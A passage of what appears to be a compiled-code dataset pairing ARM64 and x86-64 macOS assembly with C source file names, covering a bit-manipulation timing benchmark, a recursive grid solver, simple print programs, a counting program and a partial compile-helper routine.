str x8, [x9, #8]
bl _printf
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldr x1, [sp, #16] ; 8-byte Folded Reload
add x0, sp, #56
bl _gettimeofday
adrp x0, _lsb32_2@GOTPAGE
ldr x0, [x0, _lsb32_2@GOTPAGEOFF]
bl _testPerf
ldr x1, [sp, #16] ; 8-byte Folded Reload
add x0, sp, #40
bl _gettimeofday
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #40]
ldr x9, [sp, #56]
subs x8, x8, x9
ldr w9, [sp, #48]
ldr w10, [sp, #64]
subs w10, w9, w10
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
bl _printf
ldr w0, [sp, #36] ; 4-byte Folded Reload
ldp x29, x30, [sp, #144] ; 16-byte Folded Reload
add sp, sp, #160
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "0x%08x %d\n"
l_.str.1: ; @.str.1
.asciz "bit version\n"
l_.str.2: ; @.str.2
.asciz "%lu sec %luusec\n"
l_.str.3: ; @.str.3
.asciz "while version\n"
l_.str.4: ; @.str.4
.asciz "loop bit version\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _testlsb32 ## -- Begin function testlsb32
.p2align 4, 0x90
_testlsb32: ## @testlsb32
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, -8(%rbp) ## 4-byte Spill
movl -4(%rbp), %eax
movl %eax, %edi
callq _lsb32
movl -8(%rbp), %esi ## 4-byte Reload
movl %eax, %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -4(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $0, -4(%rbp)
je LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -4(%rbp), %eax
movl %eax, -12(%rbp) ## 4-byte Spill
movl -4(%rbp), %eax
movl %eax, %edi
callq _lsb32
movl -12(%rbp), %esi ## 4-byte Reload
movl %eax, %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -4(%rbp), %eax
shll $1, %eax
movl %eax, -4(%rbp)
jmp LBB0_1
LBB0_4:
movl $-1, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, -16(%rbp) ## 4-byte Spill
movl -4(%rbp), %eax
movl %eax, %edi
callq _lsb32
movl -16(%rbp), %esi ## 4-byte Reload
movl %eax, %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _testPerf ## -- Begin function testPerf
.p2align 4, 0x90
_testPerf: ## @testPerf
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq $0, -16(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpq $1000000000, -16(%rbp) ## imm = 0x3B9ACA00
jae LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movq -8(%rbp), %rax
movq -16(%rbp), %rdi
callq *%rax
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB1_1
LBB1_4:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $112, %rsp
movl $0, -4(%rbp)
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq -24(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _gettimeofday
movq _lsb32@GOTPCREL(%rip), %rdi
callq _testPerf
leaq -40(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _gettimeofday
movq -40(%rbp), %rsi
subq -24(%rbp), %rsi
movl -32(%rbp), %edx
subl -16(%rbp), %edx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
leaq -56(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _gettimeofday
movq _lsb32_1@GOTPCREL(%rip), %rdi
callq _testPerf
leaq -72(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _gettimeofday
movq -72(%rbp), %rsi
subq -56(%rbp), %rsi
movl -64(%rbp), %edx
subl -48(%rbp), %edx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
leaq -88(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _gettimeofday
movq _lsb32_2@GOTPCREL(%rip), %rdi
callq _testPerf
leaq -104(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _gettimeofday
movq -104(%rbp), %rsi
subq -88(%rbp), %rsi
movl -96(%rbp), %edx
subl -80(%rbp), %edx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $112, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "0x%08x %d\n"
L_.str.1: ## @.str.1
.asciz "bit version\n"
L_.str.2: ## @.str.2
.asciz "%lu sec %luusec\n"
L_.str.3: ## @.str.3
.asciz "while version\n"
L_.str.4: ## @.str.4
.asciz "loop bit version\n"
.subsections_via_symbols
| the_stack_data/6386944.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _free_grid_and_return ; -- Begin function free_grid_and_return
.p2align 2
_free_grid_and_return: ; @free_grid_and_return
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
str w1, [sp, #4]
ldr x0, [sp, #8]
bl _free_grid_mem
ldr w0, [sp, #4]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _rec_solver ; -- Begin function rec_solver
.p2align 2
_rec_solver: ; @rec_solver
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
stur w1, [x29, #-20]
stur w2, [x29, #-24]
stur w3, [x29, #-28]
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
ldur x0, [x29, #-16]
bl _make_backup
str x0, [sp, #16]
ldur w8, [x29, #-20]
subs w8, w8, #8
cset w8, le
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x0, [sp, #16]
mov w1, #1
bl _free_grid_and_return
stur w0, [x29, #-4]
b LBB1_12
LBB1_2:
ldur x8, [x29, #-16]
ldursw x9, [x29, #-20]
ldr x8, [x8, x9, lsl #3]
ldursw x9, [x29, #-24]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_11
b LBB1_3
LBB1_3:
str wzr, [sp, #32]
str wzr, [sp, #28]
b LBB1_4
LBB1_4: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
subs w8, w8, #10
cset w8, ge
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_4 Depth=1
ldr w8, [sp, #28]
subs w8, w8, #0
cset w8, eq
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_4 Depth=1
ldr w8, [sp, #12] ; 4-byte Folded Reload
tbz w8, #0, LBB1_10
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_4 Depth=1
ldur x0, [x29, #-16]
ldr x1, [sp, #16]
bl _restore_grid
ldur x0, [x29, #-16]
ldur w1, [x29, #-20]
ldur w2, [x29, #-24]
ldr w3, [sp, #32]
bl _check_all
str w0, [sp, #28]
ldr w8, [sp, #32]
ldur x9, [x29, #-16]
ldursw x10, [x29, #-20]
ldr x9, [x9, x10, lsl #3]
ldursw x10, [x29, #-24]
str w8, [x9, x10, lsl #2]
ldr w8, [sp, #28]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_4 Depth=1
ldur x0, [x29, #-16]
ldur w8, [x29, #-28]
mov w10, #9
sdiv w1, w8, w10
ldur w8, [x29, #-28]
sdiv w9, w8, w10
mul w9, w9, w10
subs w2, w8, w9
ldur w3, [x29, #-28]
bl _rec_solver
subs w8, w0, #0
cset w8, ne
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_4 Depth=1
ldr w8, [sp, #8] ; 4-byte Folded Reload
and w8, w8, #0x1
str w8, [sp, #28]
b LBB1_4
LBB1_10:
ldr x0, [sp, #16]
ldr w1, [sp, #28]
bl _free_grid_and_return
stur w0, [x29, #-4]
b LBB1_12
LBB1_11:
ldr x0, [sp, #16]
bl _free_grid_mem
ldur x0, [x29, #-16]
ldur w8, [x29, #-28]
mov w10, #9
sdiv w1, w8, w10
ldur w8, [x29, #-28]
sdiv w9, w8, w10
mul w9, w9, w10
subs w2, w8, w9
ldur w3, [x29, #-28]
bl _rec_solver
stur w0, [x29, #-4]
b LBB1_12
LBB1_12:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _free_grid_and_return ## -- Begin function free_grid_and_return
.p2align 4, 0x90
_free_grid_and_return: ## @free_grid_and_return
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rdi
callq _free_grid_mem
movl -12(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rec_solver ## -- Begin function rec_solver
.p2align 4, 0x90
_rec_solver: ## @rec_solver
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movl %edx, -24(%rbp)
movl %ecx, -28(%rbp)
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
movq -16(%rbp), %rdi
callq _make_backup
movq %rax, -48(%rbp)
cmpl $8, -20(%rbp)
jle LBB1_2
## %bb.1:
movq -48(%rbp), %rdi
movl $1, %esi
callq _free_grid_and_return
movl %eax, -4(%rbp)
jmp LBB1_12
LBB1_2:
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movslq -24(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
jne LBB1_11
## %bb.3:
movl $0, -32(%rbp)
movl $0, -36(%rbp)
LBB1_4: ## =>This Inner Loop Header: Depth=1
movl -32(%rbp), %ecx
addl $1, %ecx
movl %ecx, -32(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $10, %ecx
movb %al, -49(%rbp) ## 1-byte Spill
jge LBB1_6
## %bb.5: ## in Loop: Header=BB1_4 Depth=1
cmpl $0, -36(%rbp)
setne %al
xorb $-1, %al
movb %al, -49(%rbp) ## 1-byte Spill
LBB1_6: ## in Loop: Header=BB1_4 Depth=1
movb -49(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB1_7
jmp LBB1_10
LBB1_7: ## in Loop: Header=BB1_4 Depth=1
movq -16(%rbp), %rdi
movq -48(%rbp), %rsi
callq _restore_grid
movq -16(%rbp), %rdi
movl -20(%rbp), %esi
movl -24(%rbp), %edx
movl -32(%rbp), %ecx
callq _check_all
movl %eax, -36(%rbp)
movl -32(%rbp), %edx
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movslq -24(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, -36(%rbp)
movb %al, -50(%rbp) ## 1-byte Spill
je LBB1_9
## %bb.8: ## in Loop: Header=BB1_4 Depth=1
movq -16(%rbp), %rdi
movl -28(%rbp), %eax
movl $9, %ecx
cltd
idivl %ecx
movl %eax, %esi
movl -28(%rbp), %eax
movl $9, %ecx
cltd
idivl %ecx
movl -28(%rbp), %ecx
callq _rec_solver
cmpl $0, %eax
setne %al
movb %al, -50(%rbp) ## 1-byte Spill
LBB1_9: ## in Loop: Header=BB1_4 Depth=1
movb -50(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
movl %eax, -36(%rbp)
jmp LBB1_4
LBB1_10:
movq -48(%rbp), %rdi
movl -36(%rbp), %esi
callq _free_grid_and_return
movl %eax, -4(%rbp)
jmp LBB1_12
LBB1_11:
movq -48(%rbp), %rdi
callq _free_grid_mem
movq -16(%rbp), %rdi
movl -28(%rbp), %eax
movl $9, %ecx
cltd
idivl %ecx
movl %eax, %esi
movl -28(%rbp), %eax
movl $9, %ecx
cltd
idivl %ecx
movl -28(%rbp), %ecx
callq _rec_solver
movl %eax, -4(%rbp)
LBB1_12:
movl -4(%rbp), %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/72013540.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello World"
l_.str.1: ; @.str.1
.asciz "How are you?"
l_.str.2: ; @.str.2
.asciz "Have a nice day"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello World"
L_.str.1: ## @.str.1
.asciz "How are you?"
L_.str.2: ## @.str.2
.asciz "Have a nice day"
.subsections_via_symbols
| the_stack_data/13817.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov w9, #6832
movk w9, #6, lsl #16
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
sub sp, sp, #97, lsl #12 ; =397312
sub sp, sp, #2736
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #32]
add x0, sp, #36
mov x1, #6788
movk x1, #6, lsl #16
bl _bzero
str wzr, [sp, #24]
mov x9, sp
add x8, sp, #28
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #24]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
add x8, sp, #20
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldrsw x8, [sp, #20]
add x9, sp, #36
ldr w8, [x9, x8, lsl #2]
add w8, w8, #1
ldrsw x10, [sp, #20]
str w8, [x9, x10, lsl #2]
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_1
LBB0_3:
mov x9, sp
add x8, sp, #16
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
mov w8, #34464
movk w8, #1, lsl #16
str w8, [sp, #24]
b LBB0_4
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #1
cset w8, le
tbnz w8, #0, LBB0_9
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=1
ldrsw x9, [sp, #24]
add x8, sp, #36
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [sp, #16]
subs w8, w8, #1
str w8, [sp, #16]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_4 Depth=1
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [sp, #24]
subs w8, w8, #1
str w8, [sp, #24]
b LBB0_4
LBB0_9:
ldr w8, [sp, #24]
; implicit-def: $x10
mov x10, x8
ldrsw x9, [sp, #24]
add x8, sp, #36
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
bl ___stack_chk_fail
LBB0_11:
mov w0, #0
add sp, sp, #97, lsl #12 ; =397312
add sp, sp, #2736
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $400048, %eax ## imm = 0x61AB0
callq ____chkstk_darwin
subq %rax, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -400020(%rbp)
leaq -400016(%rbp), %rdi
xorl %esi, %esi
movl $400004, %edx ## imm = 0x61A84
callq _memset
movl $0, -400028(%rbp)
leaq L_.str(%rip), %rdi
leaq -400024(%rbp), %rsi
movb $0, %al
callq _scanf
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -400028(%rbp), %eax
cmpl -400024(%rbp), %eax
jge LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str(%rip), %rdi
leaq -400032(%rbp), %rsi
movb $0, %al
callq _scanf
movslq -400032(%rbp), %rax
movl -400016(%rbp,%rax,4), %ecx
addl $1, %ecx
movslq -400032(%rbp), %rax
movl %ecx, -400016(%rbp,%rax,4)
movl -400028(%rbp), %eax
addl $1, %eax
movl %eax, -400028(%rbp)
jmp LBB0_1
LBB0_3:
leaq L_.str(%rip), %rdi
leaq -400036(%rbp), %rsi
movb $0, %al
callq _scanf
movl $100000, -400028(%rbp) ## imm = 0x186A0
LBB0_4: ## =>This Inner Loop Header: Depth=1
cmpl $1, -400036(%rbp)
jle LBB0_9
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
movslq -400028(%rbp), %rax
cmpl $0, -400016(%rbp,%rax,4)
je LBB0_7
## %bb.6: ## in Loop: Header=BB0_4 Depth=1
movl -400036(%rbp), %eax
addl $-1, %eax
movl %eax, -400036(%rbp)
LBB0_7: ## in Loop: Header=BB0_4 Depth=1
jmp LBB0_8
LBB0_8: ## in Loop: Header=BB0_4 Depth=1
movl -400028(%rbp), %eax
addl $-1, %eax
movl %eax, -400028(%rbp)
jmp LBB0_4
LBB0_9:
movl -400028(%rbp), %esi
movslq -400028(%rbp), %rax
movl -400016(%rbp,%rax,4), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_11
## %bb.10:
xorl %eax, %eax
addq $400048, %rsp ## imm = 0x61AB0
popq %rbp
retq
LBB0_11:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d %d\n"
.subsections_via_symbols
| the_stack_data/122824.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "To C, or not to C: that is the question.\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "To C, or not to C: that is the question.\n"
.subsections_via_symbols
| the_stack_data/492977.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get ; -- Begin function get
.p2align 2
_get: ; @get
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur w2, [x29, #-20]
ldur x8, [x29, #-8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur x0, [x29, #-16]
ldur w1, [x29, #-20]
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x2, [x8]
bl _fgets
ldur x8, [x29, #-16]
str x8, [sp, #16] ; 8-byte Folded Spill
ldur x0, [x29, #-16]
bl _strlen
ldr x8, [sp, #16] ; 8-byte Folded Reload
subs x9, x0, #1
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur x8, [x29, #-16]
str x8, [sp, #8] ; 8-byte Folded Spill
ldur x0, [x29, #-16]
bl _strlen
ldr x8, [sp, #8] ; 8-byte Folded Reload
subs x9, x0, #1
add x8, x8, x9
strb wzr, [x8]
b LBB0_2
LBB0_2:
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _compile ; -- Begin function compile
.p2align 2
_compile: ; @compile
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2064
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #48]
str x1, [sp, #40]
str x2, [sp, #32]
ldr x8, [sp, #40]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
add x0, sp, #56
str x0, [sp, #16] ; 8-byte Folded Spill
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
mov x2, #2000
str x2, [sp, #8] ; 8-byte Folded Spill
bl ___strcpy_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #32]
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl ___strcat_chk
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl _system
mov w0, #3
str w0, [sp, #24] ; 4-byte Folded Spill
bl _sleep
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
strb wzr, [sp, #56]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #48]
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
ldr x1, [sp, #40]
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl ___strcat_chk
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl _system
ldr w0, [sp, #24] ; 4-byte Folded Reload
bl _sleep
ldr x0, [sp, #48]
bl _remove
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _remove
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
bl ___stack_chk_fail
LBB1_2:
